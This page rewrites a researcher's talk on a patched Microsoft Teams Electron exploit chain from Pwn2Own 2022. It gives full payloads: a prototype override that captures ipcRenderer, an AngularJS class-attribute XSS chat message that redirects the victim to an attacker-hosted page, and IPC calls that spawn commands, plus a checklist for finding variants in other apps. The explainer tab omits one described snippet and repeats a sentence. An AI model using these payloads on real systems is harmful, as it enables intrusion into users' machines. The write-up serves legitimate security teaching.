Skip to content
RCE Write-up Advanced

How I Hacked Microsoft Teams and got $150,000 in Pwn2Own

Microsoft Teams' main window lacked context isolation, allowing a chat message containing a crafted class attribute to execute arbitrary JavaScript via AngularJS. Combined with an XSS and an insecure IPC listener in the PluginHost renderer, an attacker could achieve remote code execution without user interaction.

Masato Kinugawa Follow

Published on speakerdeck.com

Bounty$150,000total stated by author View original

English version of my presentation at Shibuya.XSS techtalk #12. 日本語版はこちら: https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-12

Masato Kinugawa (@kinugawamasato), on speakerdeck.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

Context

This write-up is based on a presentation by Masato Kinugawa (@kinugawamasato), given at Shibuya.XSS techtalk #12 on 25 July 2023 and published on Speakerdeck on 31 July 2023 under the title "How I Hacked Microsoft Teams and got $150,000 in Pwn2Own". The report is a slide transcript, so it describes the work at a high level rather than showing full source files.

From the original on speakerdeck.com

The target is Microsoft Teams, the chat and video-call product developed by Microsoft. The report states that Teams exists in two versions that use different technology:

  • 1.x, built on Electron. This was the Pwn2Own contest target.
  • 2.x, built on Edge WebView.

The vulnerabilities described were found for Pwn2Own, held in May 2022, and the researcher won with them. Pwn2Own is a hacking contest run by Trend Micro's ZDI (Zero Day Initiative), held since 2007. Its goal is to find a specific target's (mainly) RCE and make the demo successful within the defined time limit, for prize money. The vulnerabilities found are notified to the vendor. The report notes that under the Pwn2Own rules it was necessary to achieve RCE without user interaction.

Or watch on YouTube
From the original on speakerdeck.com

The researcher found three bugs and combined them to achieve RCE:

  1. Lack of Context Isolation in the main window.
  2. XSS via chat message.
  3. JS execution via PluginHost outside the sandbox.

Setup

The report does not describe accounts, roles or a test environment. The work was done against Microsoft Teams 1.x (Electron) as a Pwn2Own target. The researcher's background, from the slides: he likes XSS, was a full-time bug bounty hunter from 2010 to 2016, and from 2016 has been a pentester at Cure53. The proof of concept is a page hosted at attacker.example.com and a chat message.

Finding it

Electron basics and the options that matter

Electron is a framework for creating desktop applications with HTML, CSS and JavaScript (Node.js), developed by GitHub. Examples of Electron apps given are Visual Studio Code, Discord, Slack, GitHub Desktop and Figma. Electron has two types of processes: the main process and the renderer process, the latter being the browser part (Chromium). A minimal example from the slides:

JavaScript
const {BrowserWindow,app} = require('electron');
app.on('ready', function() {
  let win = new BrowserWindow(); //Open Renderer Process
  win.loadURL(`file://${__dirname}/index.html`);
});
HTML
<html>
<body>
<h1>Hello Electron!</h1>
</body>
</html>

The researcher says he always checks the index.html and focuses on the options passed to the BrowserWindow API, because depending on the options they determine how RCE can be caused:

JavaScript
new BrowserWindow({
  webPreferences: {
    nodeIntegration: false,
    contextIsolation: false,
    sandbox: true
    [...]
  }
});

The important options, as explained in the slides:

  • nodeIntegration: whether Node APIs (and Electron's renderer process modules) are enabled on the web page. If true and arbitrary JS execution is possible, RCE is possible just using require():
JavaScript
require('child_process').exec('calc');

In Teams, false is used.

  • contextIsolation: whether to separate the JS context between the web page and the part that allows Node APIs (Electron internal JS code and preload scripts). In Teams, false is used.
  • sandbox: whether to use Chromium's sandbox. false is the same as running Chrome with the --no-sandbox flag, and makes RCE easier via bugs such as memory corruption. If true, some APIs become unavailable in a context where the Node APIs are available, for example APIs executing an OS command or program (such as shell.openExternal), APIs accessing the clipboard without confirmation (the clipboard module), and APIs accessing local files. In Teams, true is used.

Why contextIsolation:false matters

With contextIsolation:false, when arbitrary JS execution is possible, the Node API can be accessed, for example via an overridden prototype, even if nodeIntegration:false:

JavaScript
//Web page
Function.prototype.call = function(arg) {
  arg.someDangerousNodeJSFunction();
}

// Preload script or Electron internal code
function someFunc(handler) {
  handler.call(objectContainingNodeJSFeature);
}

When the internal code calls handler.call(...), the overridden Function.prototype.call runs and receives the object containing the Node feature as arg:

JavaScript
//Web page
Function.prototype.call = function(arg) {
  arg.someDangerousNodeJSFunction();
}

// Preload script or Electron internal code
function someFunc(handler) {
  handler.call(objectContainingNodeJSFeature);//called
}

With contextIsolation:true, the overridden prototype does not affect JavaScript in a different context, and the built-in Function.prototype.call is called instead, so RCE through this trick is prevented.

What the Teams options imply

From the options used (nodeIntegration:false, contextIsolation:false, sandbox:true), the researcher concluded: when arbitrary JS execution is possible, due to the sandbox, JS cannot access Node APIs that lead to RCE directly, but due to the lack of context isolation, other Node APIs may be accessible.

Trying to get an interesting reference to an exploitable Node API by overriding the prototype of various built-in methods, he obtained a reference to the ipcRenderer module from the overridden Function.prototype.call:

HTML
<script>
Function.prototype._call = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args[3] && args[3].name === "__webpack_require__") {
    ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;
  }
  return this._call(...args);
}
</script>

ipcRenderer is used to communicate between the renderer and the main process. The slides give this example of the pattern:

JavaScript
const { ipcRenderer } = require('electron');
ipcRenderer.invoke('test','hello');
.then(msg=>{
  console.log(msg);//hey
});

The main process has full access to Node APIs, so it may lead to RCE if there is an IPC listener that does not have proper validation.

At this point the plan was:

  1. Find a way to execute arbitrary JS, for example XSS or a redirect to an arbitrary site.
  2. Find a part that leads to RCE, for example an IPC listener that leads to RCE through the ipcRenderer module retrieved in step 1, or an exposed API that leads to RCE directly even with sandbox:true (in other words, an Electron 0-day).

The researcher knew the main window did not have context isolation and that he could get an ipcRenderer reference. The next thing was to find a way to execute arbitrary JS.

Looking at chat messages

The origin where the JS is executed is not important here, because it allows interfering with the part that uses Node APIs and achieving RCE if even arbitrary JS can be executed. Because the Pwn2Own rules required RCE without user interaction, the researcher decided to take a closer look at chat messages.

The chat allows users to use some HTML/CSS. It displays HTML after sanitising both on the server and client-side. The server-side sanitisation is black-box, so the researcher decided to check the client-side and try to guess the behaviour. The client-side uses the sanitize-html library (https://github.com/apostrophecms/sanitise-html). Examples of what is sanitised: HTML elements/attributes allowing script execution (XSS) and CSS allowing breaking layouts. Unexpectedly, checking sanitisation around CSS led to the discovery of XSS.

The class attribute allow-list

In client-side JS code the researcher found a class attribute allow-list-ish string:

Text
e.htmlClasses = "swift-*,ts-image*, emojione,emoticon-*,animated-emoticon-*, copy-paste-table,hljs*,language-*,zoetrope, me-email-*,quoted-reply-color-*"

These classes were not removed by server/client-side sanitisation, and the asterisk part appeared to work as a wildcard. The behaviour of the wildcard (for example swift-*) looked like anything except the class attribute's separator (for example 0x20) is included there:

HTML
<strong class="swift-abc">test</strong>
<strong class="swift-;[]()'%">test</strong>

But due to a certain JS resource, this leads to JS execution. The resource is AngularJS: Teams used AngularJS as a client-side framework in some pages, and the chat message part is one of them. The report notes that these days it seems to be gradually being replaced by React.

AngularJS as an XSS aid

AngularJS is very useful for an XSSer. Without using HTML tags, XSS is allowed via {{}} templates, and it introduces a CSP bypass even if unsafe-eval is not set:

HTML
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<div ng-app>
{{constructor.constructor('alert(1)')()}}
</div>
HTML
<meta http-equiv=Content-Security-Policy content="script-src ajax.googleapis.com">
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<div ng-app>
<img src=x ng-on-error=$event.target.ownerDocument.defaultView.alert(1)>
</div>

The report also recalls that XSS via AngularJS in MS Teams had been found by security researchers in the past, due to a template string filter bypass by inserting a null char between {{}}:

Text
{{3*333}\u0000}

Details are referenced at https://github.com/oskarsve/ms-teams-rce. The fact that this XSS occurs on a single-page app probably means Teams dynamically compiles user input as AngularJS HTML (like inside an ng-app attribute), the researcher reasoned. He thought AngularJS XSS might still occur in other ways, and while looking through the AngularJS official documentation for interesting features he found the ngInit directive.

ngInit directive

ngInit is used for the init process before executing a {{}} template. In this example, "Hello World!" is displayed:

HTML
<html ng-app>
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<strong ng-init="greeting='Hello'; person='World'">
{{greeting}} {{person}}!
</strong>
</html>

The attribute's value is evaluated as an AngularJS expression, so JS works via:

HTML
<strong ng-init="constructor.constructor('alert(1)')"></strong>

The ng-init attribute is of course sanitised. But ngInit can be used via a class attribute too. The following are the same:

HTML
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.8.0/angular.js"></script>
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')">aaa</strong>
</div>
HTML
<ANY ng-init="expression"> ... </ANY>
<ANY class="ng-init: expression;"> ... </ANY>

The official documentation is at https://docs.angularjs.org/api/ng/directive/ngInit. The following code is also interpreted as AngularJS expression, so JS execution via a class attribute is possible. The report notes that ng-class, ng-style and others can be used in the same way.

The class directive is retrieved by this regex:

JavaScript
CLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/,

so all of the following classes work as an ng-init directive:

HTML
<strong class="ng-init:expression">aaa</strong>
<strong class="aaa;ng-init:expression">aaa</strong>
<strong class="aaa!ng-init:expression">aaa</strong>
<strong class="aaa♩♬♪ng-init:expression">aaa</strong>

The regex is referenced at https://github.com/angular/angular.js/blob/[redacted]/src/ng/compile.js#L1384. Combined with the swift-* wildcard's behaviour, this gives XSS.

Exploitation

Step 1: XSS via a chat message

The researcher sent the following HTML as a chat message, and alert() was executed:

HTML
<strong class="swift-x;ng- init:['alert(document.domain)'].forEach($root.$$childHead.$$nextSibl ing.app.$window.eval)">aaa</strong>

The swift-x part matches the wildcard allow-list, and the ng- init: part (with the space as shown in the transcript) is evaluated as an AngularJS expression. The expression calls eval through the AngularJS scope chain rather than using constructor. The report explains that the reason for this slightly strange call, instead of constructor shown in other slides, is that there is a sandbox that prevents arbitrary JS execution depending on the version of AngularJS (all versions have known bypasses though). Here, direct use of constructor was not allowed. The report references the AngularJS sandbox bypasses list by Gareth Heyes: https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs.

At this point the researcher had a way to execute arbitrary JS and a way to get a reference to the ipcRenderer module by abusing the lack of context isolation. The last step was to find an IPC listener that does not perform input validation correctly.

Step 2: PluginHost

Looking for such a listener, the researcher noticed an interesting renderer called PluginHost. It is an invisible renderer, and apparently a node module called "slimcore" loaded there is operated from the main window via IPC. Here sandbox: false. The researcher speculates that maybe slimcore does not work when sandbox:true, so this renderer exists. The command line shown in the slides:

Text
"C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.ex e" --type=renderer [...] --app- path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\res ources\app.asar" --no-sandbox [...] /prefetch:1 --msteams- process-type=pluginHost

slimcore is executed by setting IPC listeners in PluginHost's preload script and executing through messages sent from the main window. The main window can send a message with an API named sendToRendererSync, which exists in the object retrieved through bug #1. The report notes that this API does not exist in Electron's original ipcRenderer module, so maybe Microsoft extended it. There are IPC listeners named like:

Text
ELECTRON_REMOTE_SERVER_REQUIRE
ELECTRON_REMOTE_SERVER_MEMBER_GET
ELECTRON_REMOTE_SERVER_FUNCTION_CALL

What they do:

  • ELECTRON_REMOTE_SERVER_REQUIRE: calls require() with the string specified in the message. However, validation allows only allow-listed modules such as "slimcore".
  • ELECTRON_REMOTE_SERVER_MEMBER_GET: performs property access using the string specified in the message.
  • ELECTRON_REMOTE_SERVER_FUNCTION_CALL: performs a function call with the string specified in the message.
  • Listeners for SET or other operations also exist.

The call pattern is like require('slimcore').func('arg');, sent as: 1. ELECTRON_REMOTE_SERVER_REQUIRE, 2. ELECTRON_REMOTE_SERVER_MEMBER_GET, 3. ELECTRON_REMOTE_SERVER_FUNCTION_CALL.

The researcher focused on MEMBER_GET's property access. The code shown in the slides:

Here variable i is the access-target's object and variable o is the accessed property. This property access is done without any check such as hasOwnProperty(). This means Object.prototype.* access is allowed:

JavaScript
require('slimcore').toString.constructor('js-code')();

sent as 1. REQUIRE, 2. MEMBER_GET, 3. MEMBER_GET, 4. FUNCTION_CALL, 5. FUNCTION_CALL. This allowed accessing Function() via the constructor property and executing arbitrary JS.

The code is evaluated in the preload script's context, which means it has access to the Node API. Additionally, sandbox:false, so there is no API restriction.

Step 3: Command execution with process.binding

To perform RCE in this context, the researcher used process.binding, something like require() used in Node.js internals, only available when sandbox: false. In the child_process module, binding('spawn_sync') is used, and by following the call, command execution is possible:

JavaScript
a = { "type": "pipe", "readable": 1, "writable": 1 };
b = { "file": "cmd", "args": ["/k", "start", "calc"], "stdio": [a, a] };
process.binding("spawn_sync").spawn(b);

The researcher credits learning this from Math.js RCE by @CapacitorSet and @denysvitali: https://jwlss.pw/mathjs/.

Why not just require('child_process')?

The slides address the question of why require('child_process') is not used directly:

JavaScript
require('slimcore')
.toString.constructor("require('child_process')...")();

This does not work. The reason is that Function() creates a function executed within global scope. The demonstration code:

JavaScript
function (exports, require, module, __filename, __dirname) {
  console.log(`1: ${arguments.callee.toString()}`);
  console.log(`2: ${eval('typeof require')}`);
  console.log(`3: ${constructor.constructor('typeof require')()}`);
}

loaded as a preload script produces:

Text
1: function (exports, require, module, __filename, __dirname) { ... }
2: function
3: undefined

require exists in the function scope (so eval sees it), but not in the global scope where Function()-created code runs.

The report also notes that other Pwn2Own participants (@adm1nkyj1 and @jinmo123) noticed the way to execute a command via IPC too, but the last step to achieve RCE was a bit different. They used an eval call existing in preload scripts and called require('child_process'). Details: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2- pluginhost-allows-dangerous-rpc-calls-from-any-webview. The relevant code from that write-up, as reproduced in the slides:

JavaScript
function loadSlimCore(slimcoreLibPath) {
  let slimcore;
  if (utility.isWebpackRuntime()) {
    const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
    slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
    [...]
  }
  [...]
}

By rewriting String.prototype.replace and changing the return value, an arbitrary string is passed to this direct eval call, so it is executed within this function scope and require() access is allowed.

Step 4: Full chain, step by step

With all three bugs aligned (lack of context isolation in the main window, XSS via chat message, JS execution via PluginHost outside the sandbox), the researcher launched calc.

  1. The attacker creates a page containing the following code:
HTML
<script>
Function.prototype._call = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args[3] && args[3].name === "__webpack_require__") {
    ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;
  }
  return this._call(...args);
}
</script>

This is the JS code to get a reference to the ipcRenderer module. JS code to send IPC follows on the next page:

HTML
<script>
setTimeout(function(){
  ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_REQUIRE',((),'slimcore'),'')(0)('id');
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',((),objid,'toString',()),'')(0)('id');
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',((),objid,'constructor',()),'')(0)('id');
    objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',((),objid,(({"type":"value","value": 'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":("/k","start","calc"),"stdio":(a,a)}; process.binding("spawn_sync").spawn(b);'})),'')(0)('id');
    ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',((),objid,(({"type":"value","value":""})),'');
  });
},2000);
</script>

This code sends IPC to execute the following JS on PluginHost:

JavaScript
require('slimcore').toString.constructor('js-code')();

with the sequence 1. REQUIRE, 2. MEMBER_GET, 3. MEMBER_GET, 4. FUNCTION_CALL, 5. FUNCTION_CALL.

  1. The attacker sends the following HTML as a chat message:
HTML
<strong class="swift-x;ng- init:['eval(decodeURIComponent(\'setTimeout(function()%7Blocation.replace(%27//at tacker.example.com/poc.html%27)%7D,10000)\'))'].forEach($root.$$childHead.$$nextS ibling.app.$window.eval)">aaa</strong>
  1. The victim opens the message, and XSS is triggered.

  2. After a while, a navigation to the crafted page happens (https://attacker.example.com/poc.html). The final code executed by eval is the following, which just navigates to the attacker's site:

JavaScript
setTimeout(function(){
  location.replace('//attacker.example.com/poc.html');
},10000);

This is the page created at step 1. The report notes that there is no need to use setTimeout; it was used for clarity of the demo.

  1. Suddenly calc is executed.
Or watch on YouTube
From the original on speakerdeck.com

A demo video is linked at https://youtu.be/TMh_WbF9VnM.

Root cause

The chain relies on three separate weaknesses, each of which the report describes:

  1. Lack of context isolation in the main window. With contextIsolation:false, an overridden Function.prototype.call in the web page affects the JS context used by Electron internal code and preload scripts. This let the researcher capture the ipcRenderer module reference even though nodeIntegration:false and sandbox:true were set. The sandbox alone did not prevent this because the leak is through prototype interference, not through direct Node API access.
  2. XSS via chat message. The client-side class allow-list used wildcards such as swift-*, and the wildcard matched almost any character except the class attribute separator. Combined with AngularJS, which Teams used in some pages including the chat message part, a class such as ng-init:... is interpreted as an AngularJS expression. The ng-init attribute itself was sanitised, but the class form was not. The AngularJS sandbox prevented direct use of constructor here, so the researcher used eval through the scope chain instead.
  3. JS execution via PluginHost outside the sandbox. The PluginHost renderer runs with sandbox:false and exposes IPC listeners (ELECTRON_REMOTE_SERVER_REQUIRE, ELECTRON_REMOTE_SERVER_MEMBER_GET, ELECTRON_REMOTE_SERVER_FUNCTION_CALL). MEMBER_GET performs property access without a check such as hasOwnProperty(), so Object.prototype.* is reachable. That allows require('slimcore').toString.constructor('js-code')() and arbitrary JS in the preload script's context, which has Node API access and no sandbox restriction. process.binding('spawn_sync') then gives command execution.

Why the existing defences did not stop it: nodeIntegration:false and sandbox:true in the main window were bypassed by the prototype trick; the server and client-side HTML sanitisation did not remove the wildcard classes; the AngularJS sandbox was bypassed with an eval call through the scope chain; and the PluginHost IPC validation only allow-listed the module name for REQUIRE, not the property access in MEMBER_GET.

Impact

When a victim opens a crafted chat message, XSS is triggered, the victim is navigated to an attacker-controlled page, and arbitrary JS runs in the PluginHost preload context, running OS commands. The report demonstrates this by launching calc. Under the Pwn2Own rules the chain had to work without user interaction; the report does not state whether the chat message itself required any interaction beyond opening it.

Fix

The report states that all bugs were fixed, with these changes:

  • contextIsolation: enabled in the main window now.
  • XSS: only limited characters are allowed in the wildcard part.
  • PluginHost: the web page's CSP is applied to preload scripts. For this, context isolation on PluginHost was disabled. By doing so, it looks like the web page's CSP is applied to preload scripts and eval is disabled.

The researcher adds that apparently the latest Electron (tested on v25+) does not allow eval in preload scripts, with the error Uncaught EvalError: Code generation from strings disallowed for this context, though Teams does not use the latest.

Variants to test

  • Other Electron apps with contextIsolation:false. Override Function.prototype.call and look for internal calls that pass objects containing Node features. A positive result is a captured reference such as ipcRenderer or another module with useful APIs.
  • Wildcard class allow-lists combined with AngularJS. Send a class matching the wildcard that also matches the AngularJS class directive regex, for example swift-x;ng-init:.... A positive result is execution of the expression, for example an alert.
  • AngularJS sandbox bypasses. Try eval through the scope chain when constructor is blocked. A positive result is JS execution despite the sandbox.
  • IPC listeners that perform property access. Look for MEMBER_GET-style handlers without hasOwnProperty() checks. A positive result is reaching Object.prototype members such as toString.constructor.
  • Preload scripts with direct eval. Look for eval calls whose arguments come from values an attacker can influence, such as String.prototype.replace return values. A positive result is arbitrary code in the preload function scope, where require is available.
  • process.binding('spawn_sync'). In a context with sandbox:false and Node access, try the spawn_sync call shown above. A positive result is a spawned process such as calc.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 36 min read.

What happened, in plain words

This article explains a talk by Masato Kinugawa (@kinugawamasato), given at Shibuya.XSS techtalk #12 on 25 July 2023 and published on Speakerdeck on 31 July 2023 under the title "How I Hacked Microsoft Teams and got $150,000 in Pwn2Own". The report is a transcript of the slides, so it describes the work at a high level rather than showing full source files.

From the original on speakerdeck.com

The target is Microsoft Teams, the chat and video-call product made by Microsoft. Teams is a desktop program you install on your computer. The report says Teams exists in two versions that use different technology:

  • 1.x, built on a framework called Electron. This was the version entered in the Pwn2Own contest.
  • 2.x, built on something called Edge WebView.

The bugs described were found for Pwn2Own, held in May 2022, and the researcher won with them. Pwn2Own is a hacking contest run by Trend Micro's ZDI (Zero Day Initiative), held since 2007. Its goal is to find a specific target's (mainly) RCE and make the demo successful within the defined time limit, for prize money. The vulnerabilities found are notified to the vendor. The report notes that under the Pwn2Own rules it was necessary to achieve RCE without user interaction.

Or watch on YouTube
From the original on speakerdeck.com

In plain terms, the researcher found three separate weaknesses and joined them together like links in a chain to make a program run on the victim's computer. The three links were:

  1. Lack of Context Isolation in the main window.
  2. XSS via chat message.
  3. JS execution via PluginHost outside the sandbox.

Each of these terms is explained below as it comes up. The important idea for a beginner is that none of the three bugs alone was enough. Each one opened a door that made the next one possible.

Setup

The report does not describe accounts, roles or a test environment. The work was done against Microsoft Teams 1.x (Electron) as a Pwn2Own target. The researcher's background, from the slides: he likes XSS, was a full-time bug bounty hunter from 2010 to 2016, and from 2016 has been a pentester at Cure53. The proof of concept is a page hosted at attacker.example.com and a chat message.

Finding it

Electron basics and the options that matter

Electron is a framework for creating desktop applications with HTML, CSS and JavaScript (Node.js), developed by GitHub. A framework here means a ready-made toolkit: instead of writing a whole desktop program from scratch, a developer writes web pages and Electron wraps them in a window that behaves like a normal app. Examples of Electron apps given are Visual Studio Code, Discord, Slack, GitHub Desktop and Figma.

Electron has two types of processes: the main process and the renderer process, the latter being the browser part (Chromium). A process is a running program on your computer. Chromium is the open-source browser engine that Chrome and many other programs are built on. The main process is the part that controls the app and has full access to the computer; the renderer process is the part that draws the web page and is meant to be more restricted. A minimal example from the slides:

JavaScript
const {BrowserWindow,app} = require('electron');
app.on('ready', function() {
  let win = new BrowserWindow(); //Open Renderer Process
  win.loadURL(`file://${__dirname}/index.html`);
});

Line by line:

  • const {BrowserWindow,app} = require('electron'); loads the Electron toolkit and takes two pieces from it: BrowserWindow (the thing that creates a window) and app (the thing that represents the whole application). require is how Node.js, the JavaScript runtime Electron uses, loads other code.
  • app.on('ready', function() { says: when the app has finished starting up, run the following function.
  • let win = new BrowserWindow(); creates a new window. The comment says this opens a renderer process, the browser part.
  • win.loadURL(...) tells that window to load a web page, here a local file called index.html.
  • }); closes the function and the on call.
HTML
<html>
<body>
<h1>Hello Electron!</h1>
</body>
</html>

This is the web page that the window loads. It is ordinary HTML: a heading that says "Hello Electron!". Nothing dangerous here, but it shows the shape of an Electron app: a small JavaScript file that opens a window, and an HTML file that fills it.

The researcher says he always checks the index.html and focuses on the options passed to the BrowserWindow API, because depending on the options they determine how RCE can be caused. An API (Application Programming Interface) is the set of commands one piece of software offers to another. When you call new BrowserWindow({...}) you are using the Electron API, and the object you pass in is a list of settings.

JavaScript
new BrowserWindow({
  webPreferences: {
    nodeIntegration: false,
    contextIsolation: false,
    sandbox: true
    [...]
  }
});

Line by line:

  • new BrowserWindow({ starts creating a window and opens a settings object.
  • webPreferences: { opens a sub-object that holds settings for the web page inside the window.
  • nodeIntegration: false, turns off direct access to Node.js from the web page.
  • contextIsolation: false, turns off the separation between the web page's JavaScript and Electron's own JavaScript. This is the key setting for the first bug.
  • sandbox: true turns on Chromium's sandbox, a protective box that limits what the page can do.
  • [...] means other settings were left out of the slide.

The important options, as explained in the slides:

  • nodeIntegration: whether Node APIs (and Electron's renderer process modules) are enabled on the web page. If true and arbitrary JS execution is possible, RCE is possible just using require():
JavaScript
require('child_process').exec('calc');

In Teams, false is used. To unpack this: require('child_process') loads a Node.js module that can start other programs, and .exec('calc') runs the Windows calculator. RCE stands for Remote Code Execution: an attacker somewhere else on the internet gets your computer to run code of their choosing. That is the worst kind of bug because it usually means full control of the machine.

  • contextIsolation: whether to separate the JS context between the web page and the part that allows Node APIs (Electron internal JS code and preload scripts). In Teams, false is used. A preload script is a small piece of JavaScript that Electron runs before the page loads, and it is allowed to use Node APIs. A JS context is the private memory space in which a piece of JavaScript runs. If two pieces of code share a context, they can see and change each other's built-in objects.
  • sandbox: whether to use Chromium's sandbox. false is the same as running Chrome with the --no-sandbox flag, and makes RCE easier via bugs such as memory corruption. If true, some APIs become unavailable in a context where the Node APIs are available, for example APIs executing an OS command or program (such as shell.openExternal), APIs accessing the clipboard without confirmation (the clipboard module), and APIs accessing local files. In Teams, true is used. A sandbox is like a playpen: the code can move around inside it but cannot reach the rest of the computer.

Why contextIsolation:false matters

With contextIsolation:false, when arbitrary JS execution is possible, the Node API can be accessed, for example via an overridden prototype, even if nodeIntegration:false:

JavaScript
//Web page
Function.prototype.call = function(arg) {
  arg.someDangerousNodeJSFunction();
}

// Preload script or Electron internal code
function someFunc(handler) {
  handler.call(objectContainingNodeJSFeature);
}

Line by line:

  • //Web page is a comment saying the next lines run in the web page, the part an attacker might control.
  • Function.prototype.call = function(arg) { replaces a built-in JavaScript method. Every function in JavaScript inherits from Function.prototype, which is like a shared toolbox that all functions draw from. call is one of the tools: it lets you run a function with a chosen this value. By assigning a new function to it, the page swaps out the original tool for its own version.
  • arg.someDangerousNodeJSFunction(); is the attacker's code. Whatever object arrives as arg, the attacker tries to call a dangerous function on it.
  • } closes the replacement function.
  • // Preload script or Electron internal code marks the next lines as code that Electron itself runs, which the attacker is not supposed to touch.
  • function someFunc(handler) { defines a function that receives something called handler.
  • handler.call(objectContainingNodeJSFeature); calls call on handler. Normally this would run the built-in call. But because the page replaced it, the attacker's version runs instead, and it receives objectContainingNodeJSFeature as arg.
  • } closes the function.

When the internal code calls handler.call(...), the overridden Function.prototype.call runs and receives the object containing the Node feature as arg:

JavaScript
//Web page
Function.prototype.call = function(arg) {
  arg.someDangerousNodeJSFunction();
}

// Preload script or Electron internal code
function someFunc(handler) {
  handler.call(objectContainingNodeJSFeature);//called
}

This is the same code with a comment //called added to show the exact moment the trap springs. The everyday comparison: imagine a shared reception desk where anyone can leave a note saying "when someone asks for the manager, send them to me instead". If the building has one shared reception (no context isolation), the note redirects real visitors. If each floor has its own reception (context isolation), the note only affects that floor.

With contextIsolation:true, the overridden prototype does not affect JavaScript in a different context, and the built-in Function.prototype.call is called instead, so RCE through this trick is prevented.

What the Teams options imply

From the options used (nodeIntegration:false, contextIsolation:false, sandbox:true), the researcher concluded: when arbitrary JS execution is possible, due to the sandbox, JS cannot access Node APIs that lead to RCE directly, but due to the lack of context isolation, other Node APIs may be accessible.

In other words, the sandbox blocks the front door, but the missing context isolation leaves a side window open. The researcher's next move was to try to reach through that window.

Trying to get an interesting reference to an exploitable Node API by overriding the prototype of various built-in methods, he obtained a reference to the ipcRenderer module from the overridden Function.prototype.call:

HTML
<script>
Function.prototype._call = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args[3] && args[3].name === "__webpack_require__") {
    ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;
  }
  return this._call(...args);
}
</script>

Line by line:

  • <script> starts a block of JavaScript inside an HTML page.
  • Function.prototype._call = Function.prototype.call; saves the original call under a new name, _call, so the page can still use the real one later.
  • Function.prototype.call = function(...args) { replaces call with a new function that accepts any number of arguments, collected in args.
  • if (args[3] && args[3].name === "__webpack_require__") { checks whether a fourth argument exists and whether its name is __webpack_require__. This is a filter: the attacker only wants to act when Electron's internal code passes its module loader, not on every call.
  • ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer; uses that internal loader to load a specific Electron file and takes its ipcRenderer piece, storing it in a variable called ipc.
  • } closes the if.
  • return this._call(...args); runs the original call with the original arguments, so everything else behaves normally and the page does not break.
  • } closes the replacement function.
  • </script> ends the script block.

ipcRenderer is used to communicate between the renderer and the main process. Think of it as an intercom between the browser part and the powerful part of the app. The slides give this example of the pattern:

Line by line:

  • const { ipcMain } = require('electron'); loads the main-process side of the intercom.
  • (...) means other code was omitted from the slide.
  • ipcMain.handle('test', (evt, msg) => { registers a handler for messages named test. When a message arrives, the function runs with the event and the message.
  • console.log(msg);//hello prints the received message. The comment shows that if the other side sent hello, this prints hello.
  • return 'hey'; sends hey back as the reply.
  • }); closes the handler.
JavaScript
const { ipcRenderer } = require('electron');
ipcRenderer.invoke('test','hello');
.then(msg=>{
  console.log(msg);//hey
});

Line by line:

  • const { ipcRenderer } = require('electron'); loads the renderer side of the intercom.
  • ipcRenderer.invoke('test','hello'); sends a message named test with the payload hello to the main process.
  • .then(msg=>{ waits for the reply and names it msg.
  • console.log(msg);//hey prints the reply. The comment shows it prints hey.
  • }); closes the callback.

The main process has full access to Node APIs, so it may lead to RCE if there is an IPC listener that does not have proper validation. An IPC listener is the piece of code that receives intercom messages. If it trusts whatever it is told, an attacker who can send messages can ask the powerful side to do dangerous things.

At this point the plan was:

  1. Find a way to execute arbitrary JS, for example XSS or a redirect to an arbitrary site.
  2. Find a part that leads to RCE, for example an IPC listener that leads to RCE through the ipcRenderer module retrieved in step 1, or an exposed API that leads to RCE directly even with sandbox:true (in other words, an Electron 0-day).

XSS stands for Cross-Site Scripting: tricking a page into running JavaScript that the attacker wrote, usually by putting it in content the page displays. A 0-day is a bug that is not yet publicly known and has no fix at the time it is used.

The researcher knew the main window did not have context isolation and that he could get an ipcRenderer reference. The next thing was to find a way to execute arbitrary JS.

Looking at chat messages

The origin where the JS is executed is not important here, because it allows interfering with the part that uses Node APIs and achieving RCE if even arbitrary JS can be executed. Origin is the combination of scheme, host and port that a browser uses to decide which pages may talk to each other, for example https://teams.example.com. Because the Pwn2Own rules required RCE without user interaction, the researcher decided to take a closer look at chat messages. The researcher decided to take a closer look at chat messages.

